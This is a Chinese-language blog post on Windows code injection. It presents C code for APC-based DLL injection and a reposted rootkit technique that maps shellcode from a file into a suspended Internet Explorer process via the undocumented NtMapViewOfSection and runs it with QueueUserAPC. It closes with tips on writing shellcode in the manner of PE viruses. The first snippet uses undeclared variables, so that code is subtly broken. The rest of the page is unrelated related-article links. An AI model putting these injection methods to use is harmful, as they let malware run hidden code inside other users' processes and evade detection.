Code Inject的新技术

[注入] - NtMapViewOfSection 背景 新的注入方式:利用一个未公开函数 NtMapViewOfSection 在远程进程地址空间写入代码,并且用一种新的技术在远程进程中执行它,这种技术完全工作在用户模式下,并且不需要特殊的条件比如像管理员权限或者之类的... 阅读详情

inject的一般方法是:CreateRemoteThread;今天在Rootkit上看到一个新的方法,让我想起1年前我看到过的类似方法,大家一起看看这种方法吧:
1) 1年前我所看到的方法
    DWORD  dwResult;
    HANDLE hThread;
    HANDLE hProcess;
    char   szDllName[] = "c://MyDll.dll";
    int    nLen = strlen(szDllName) + 1;
    PVOID  pData= VirtualAllocEx(hProcess,
                                
NULL, 
                                 nLen, 
                                 MEM_COMMIT | MEM_TOP_DOWN, 
                                 PAGE_READWRITE);
    if (param != NULL)
    {
        if (WriteProcessMemory(hProcess, 
                               pData,
                               (LPVOID)szDllName,
                               len,
                               &ret))
        {
            for (DWORD p = 0; p < NumberOfThreads; p++) //寻找适当的线程
            {
                hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
                if (hThread != 0)
                {
                    InjectDll(hProcess, hThread, (DWORD)pData);
                    CloseHandle(hThread);                                  
                }
            }
    } 

    void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param)
    {
        QueueUserAPC( (PAPCFUNC)GetProcAddress(GetModuleHandle
                      ("kernel32.dll"), "LoadLibraryA"),  
                      hThread,  
                      (DWORD)param )
            
    }


2) Rootkit上的方法,下面代码转自 http://www.rootkit.com/newsread.php?newsid=715

#define _WIN32_WINNT 0x0400
#include <windows.h>

typedef LONG NTSTATUS, *PNTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;

typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*,
                SECTION_INHERIT, ULONG, ULONG );

func_NtMapViewOfSection NtMapViewOfSection = NULL;


LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh,
        DWORD dwFileOffsetLow, DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )   
{
NTSTATUS Status;
LARGE_INTEGER SectionOffset;
ULONG ViewSize;
ULONG Protect;
LPVOID ViewBase;


// Convert the offset
SectionOffset.LowPart = dwFileOffsetLow;
SectionOffset.HighPart = dwFileOffsetHigh;

// Save the size and base
ViewBase = lpBaseAddress;
ViewSize = dwNumberOfBytesToMap;

// Convert flags to NT Protection Attributes
if (dwDesiredAccess & FILE_MAP_WRITE)
{
  Protect  = PAGE_READWRITE;
}
else if (dwDesiredAccess & FILE_MAP_READ)
{
  Protect = PAGE_READONLY;
}
else if (dwDesiredAccess & FILE_MAP_COPY)
{
  Protect = PAGE_WRITECOPY;
}
else
{
  Protect = PAGE_NOACCESS;
}

// Map the section
Status = NtMapViewOfSection(hFileMappingObject,
        hProcess,
        &ViewBase,
        0,
        0,
        &SectionOffset,
        &ViewSize,
        ViewShare,
        0,
        Protect);
if (!NT_SUCCESS(Status))
{
  // We failed
  return NULL;
}

// Return the base
    return ViewBase;
}



int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
{
HMODULE hDll = LoadLibrary( "ntdll.dll" );

NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection");


// Getting a shellcode, use whatever you want
HANDLE hFile = CreateFile ("C://shellcode.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);


// Starting target process
STARTUPINFO st;
ZeroMemory (&st, sizeof(st));
st.cb = sizeof (STARTUPINFO);

PROCESS_INFORMATION pi;
ZeroMemory (&pi, sizeof(pi));

CreateProcess ("C://Programme//Internet Explorer//iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);


// Injecting the shellcode into target process address space
LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);


// Create a new APC which will be executed at first when the thread resume
QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);

ResumeThread (pi.hThread);


CloseHandle (hFile);
CloseHandle (hMappedFile);
CloseHandle (pi.hThread);
CloseHandle (pi.hProcess);
return 0;
}

总结:
1 巧妙的应用了QueueUserAPC和Apc Queue,上述LoadLibrary动作和MappedFile的shellcode在目标线程被调度为运行状态的时候执行.

2 还记得APC Queue吗?
线程被重新调度为运行状态的时候会检查当前的Apc Queue,只有Queue中所有的Routine被执行完毕后,才执行线程原来被中断(入口)的代码.

3 第二个例子要自己写shellcode,关于如何定位函数,参见PE病毒写法,不要从栈地址找Kenel32的地址了,从TEB中的SEH地址找,默认(最外层)的处理Routine在Kenel32.dll中......
 

Code Inject代码注入 转3篇文章,地址是: Three Ways to Inject Your Code into Another Process http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces .NET Internals and Code In 阅读详情

相关推荐

node-red教程3.1 inject介绍

node-red inject节点的介绍与使用

知无涯 1万+

漫谈兼容内核之十三:关于“进程挂靠”

     上一篇漫谈在介绍APC机制时提到:线程在Windows内核中运行时有时候需要暂时“挂靠(Attach)”到别的进程的用户空间,即暂时切换到另一个进程的用户空间。这称为“进程挂靠”,因为用户空间是一个进程最主要的特征。    显然,要是当前线程的操作与用户空间无关、不需要访问用户空间,那么当时的用户空间到底是谁的用户空间根本就无关紧要,所以这必定发生在与用户空间有关的操作中。    一般而

周寅的专栏 2507

NtUnmapViewOfSection

NtUnmapViewOfSection演示程序

Ruby中的inject

Ruby中的inject 博客分类:  Ruby   Ruby中的inject  参考: ruby-inject      刚接触inject时,对其了解不是很深,直看到这篇文章 ruby-inject,才有了新的认识,文章配合大量例子进行说明。  1、先看最简单的求和例子,我们从这里分析inject的实现机制。  Ruby代码   [1,

bajiudongfeng的专栏 494

codeinject ex modify

这是修改版的代码注入器,修复了,由于个人原因,代码注入游戏以后,游戏崩溃的bug,拿来与大家共享!

代码注入器CodeInjector

代码注入器 CodeInjector 根据PID选择进程,可以载入dll 或者卸载dll 还可以执行代码 等等

Inject your code to a Portable Executable file by ashkbiz

转自:EXETOOLShttp://www.codeproject.com/useritems/inject2exe.asp

Linhanshi Blog 1050

告别手动调参!PSCAD 4.2的Multiple-Run功能,5分钟搞定交流故障批量仿真

本文详细介绍了PSCAD 4.2的Multiple-Run功能如何高效处理交流故障批量仿真,告别传统手动调参的低效模式。通过五步配置法,工程师可在5分钟内完成数百次参数组合的仿真,显著提升电力系统分析效率。文章还包含工业级应用案例和高级调试技巧,助力实现故障仿真的自动化与智能化。

weixin_42552716的博客 275

Thunk Code Inject

//花猫的Thunk Code Inject#include "windows.h"char *InfectCode = NULL;DWORD aCreateProcess = 0; int GetRand(){  return rand();} //disassemblied thunk code/*:00401000.6842104000     push   00401042  

1270

SAGA GIS英文版进行地形分析,计算常用的地形因子等

SAGA GIS中文版是一款专业的自动化地球科学分析系统软件。SAGA GIS最新版界面简洁,操作简便,用户使用时输入要分割的影像,选择要计算特征的影像或者波段,设置越大,得到的斑块越大;反之,则越小,点击Okay,得到分割影像图。SAGA GIS中文版主要通过选择适合你影像的格式,加载影像。 SAGA GIS全称是System for Automated Geoscientific Analyses,是一种用于编辑空间数据的地理信息系统(GIS)计算机程序,它是免费的开源软件,SAGA GIS旨在为科学家

qq_35794085的博客 5640

Allegro网表导入报错VOIDs not allowed in parent SHAPE的解决方案

在PCB设计流程中,网表导入是确保电气连接正确传递的关键步骤。其原理是将原理图的逻辑连接关系映射到物理版图的图形数据库中。这一过程的技术价值在于保证设计数据的一致性,避免后续生产中出现电气错误。然而,在Cadence Allegro等EDA工具的实际应用中,数据库内部状态的不一致可能引发操作失败,例如常见的“VOIDs are not allowed in the parent SHAPE”报错。这类问题通常源于多人协作、跨版本操作或频繁编辑后积累的数据结构冗余。针对此场景,核心的解决方法是执行Databa

weixin_30954817的博客 320

SQL Inject of Code to bypass

目录 PHP Code audit Think about bypass filtering String to URL Code String to Base64 Code String to JavaScript Escape Code String...

weixin_30416871的博客 96

【MediaPipe实战】从零构建实时人脸关键点检测与表情分析系统

本文详细介绍了如何使用MediaPipe框架从零构建实时人脸关键点检测与表情分析系统。通过Python代码实现,系统能够精准检测468个3D人脸关键点,并实时分析用户表情,适用于智能交互应用。文章包含环境配置、核心实现、可视化技巧及性能优化等实战内容,帮助开发者快速掌握深度学习在计算机视觉中的应用。

weixin_30836759的博客 73

Vue 3.0 Provide和Inject实现共享数据

Provide和Inject可以在祖(父)组件和子(孙)组件间实现传值。相比prop只能父子之间传值而言,Provide和Inject传值更方便,相比vuex又更轻量。 接下来我们就从使用和实现原理两方面来介绍Provide和Inject。 Provide和Inject的使用 概括: 祖(父)组件中使用一个provide函数来提供数据,而子(孙)组件使用inject函数来获取数据。 provide API 的使用 我们这里就用官方的例子, 阅读过官方例子的童鞋可以跳过本节。 使用前需要先从vue中引用

lcl130的专栏 1240

(OSTrack)Joint Feature Learning and Relation Modeling for Tracking A One-Stream Framework

Joint Feature Learning and Relation Modeling for Tracking A One-Stream Framework (OSTrack)

小火山的博客 1653

【Godot4自学手册】第一节配置Godot运行环境

Godot是一款自由开源、由社区驱动的 2D 和 3D 游戏引擎!它是一款功能丰富的跨平台游戏引擎,可以通过统一的界面创建 2D 和 3D 游戏。它提供了一套全面的通用工具,因此用户可以专注于制作游戏,而无需重新发明轮子。游戏可以一键导出到多个平台,包括主流的桌面平台(Linux、macOS、Windows)、移动平台(Android、iOS)、基于 Web 的平台以及主机平台。

zhaoyang314的博客 5981

go 依赖注入 简单 例子 inject

go 依赖注入 说明 软件构建的核心就是管理复杂度。 - 《Code Complete》 解耦组件之间的依赖关系,避免手动配置每个组件的依赖关系。 库 利用库 github.com/facebookgo/inject 例子 package main import ( "fmt" "github.com/facebookgo/inject" ) type DBEngine...

weixin_34253539的博客 874

【QT开发教程】如何在Qt中使用Protobuf进行高效数据序列化

Protocol Buffers(Protobuf)是Google开发的一种语言中立、平台中立、可扩展的序列化机制,常用于数据交换和存储。Qt作为一个跨平台的C++图形用户界面应用框架,可以与Protobuf结合使用,实现高效的数据序列化和反序列化。本文将介绍如何在Qt中集成和使用Protobuf,包括基本概念、安装步骤、使用示例以及实际应用。

科技改变人类,技术成就未来 1439

【转】protoc-go-inject-tag 作用

在protobuf导出到golang的时候,生成的.go文件里的struct的tag是没办法灵活设置的,以下面这个message为例test.prototest";}}这段代码最终的输出会是{},因为Code的json tag设置了omitempty,这种情况在开发过程中有时候是很蛋疼的,因为即便Code是默认值0,我们也还是希望能打印出来的。因此我们需要一种方法能通过在编写proto文件的时候,在里面注入tag,然后导出成go的时候这个被注入的字段的tag可以自定义。

m0_70556273的博客 1472

058、时域降噪(Temporal Denoise):运动补偿与递归滤波在视频降噪中的应用

本文深入探讨了时域降噪(Temporal Denoise)技术在视频处理中的应用。作者通过车载环视项目案例,揭示了空域降噪的局限性,提出利用帧间信息进行降噪的核心思路。文章详细解析了递归滤波和运动补偿两大关键技术,指出递归滤波简单但易产生拖影,而运动补偿通过计算运动矢量解决此问题。作者还分享了多帧降噪方案的优势与算力挑战,并总结了噪声模型匹配、运动矢量一致性等实战调优经验。最后强调时域降噪需要与空域降噪平衡,指出调试工具的重要性,提出"在保证运动区域无鬼影的前提下追求信噪比"的实践原则,体现了算法复杂度与效

zzfmlxs的博客 92

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

上一篇: 分析黑客之门
下一篇: 绕过杀毒软件之一(实时监控篇)
pll621
博客等级 码龄25年 27粉丝 87原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值